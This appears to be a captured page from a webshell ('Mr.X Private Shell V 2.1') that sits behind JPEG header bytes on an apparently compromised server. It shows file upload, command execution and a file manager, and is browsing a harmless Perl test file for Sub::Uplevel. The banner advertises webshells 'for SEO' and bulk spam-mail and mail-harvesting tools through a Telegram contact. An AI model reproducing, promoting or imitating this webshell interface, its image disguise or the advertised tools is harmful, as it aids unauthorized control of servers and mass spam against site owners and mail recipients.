����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#!/usr/bin/perl

use strict;
BEGIN { $^W = 1 }

use Test::More;

use Sub::Uplevel;

package Wrap;
use Sub::Uplevel;

sub wrap {
    my ($n, $f, $depth, $up, @case) = @_;
    
    if ($n > 1) {
        $n--;
        return wrap( $n, $f, $depth, $up, @case );
    }
    else {
        return uplevel( $up , $f, $depth, $up, @case );
    }
}

package Call;

sub recurse_call_check {
    my ($depth, $up, @case) = @_;

    if ( $depth ) {
        $depth--;
        my @result;
        push @result, recurse_call_check($depth, $up, @case, 'Call' );
        for my $n ( 1 .. $up ) {
            push @result, Wrap::wrap( $n, \&recurse_call_check, 
                $depth, $n, @case, 
                $n == 1 ? "Wrap(Call)" : "Wrap(Call) x $n" ),
            ;
        }
        return @result;
    }
    else {
        my (@uplevel_callstack, @real_callstack);
        my $i = 0;
        while ( defined( my $caller = caller($i++) ) ) {
            push @uplevel_callstack, $caller;
        }
        $i = 0;
        while ( defined( my $caller = CORE::caller($i++) ) ) {
            push @real_callstack, $caller;
        }
        return [ 
            join( q{, }, @case ),
            join( q{, }, reverse @uplevel_callstack ),
            join( q{, }, reverse @real_callstack ),
        ];      
    }
}

package main;

my $depth = 4;
my $up = 3;
my $cases = 104;

plan tests => $cases;

my @results = Call::recurse_call_check( $depth, $up, 'Call' );

is( scalar @results, $cases, 
    "Right number of cases"
);

my $expected = shift @results;

for my $got ( @results ) {
    is( $got->[1], $expected->[1], 
        "Case: $got->[0]"
    ) or diag( "Real callers: $got->[2]" );
}


Filemanager

Name Type Size Permission Actions
lib Folder 0755
00-report-prereqs.dd File 2.65 KB 0644
00-report-prereqs.t File 5.45 KB 0644
01_die_check.t File 458 B 0644
02_uplevel.t File 4.46 KB 0644
03_nested_uplevels.t File 1.64 KB 0644
04_honor_later_override.t File 2.28 KB 0644
05_honor_prior_override.t File 2.58 KB 0644
06_db_args.t File 545 B 0644
07_uplevel_too_high.t File 720 B 0644
08_exporter.t File 310 B 0644
09_emptylist.t File 516 B 0644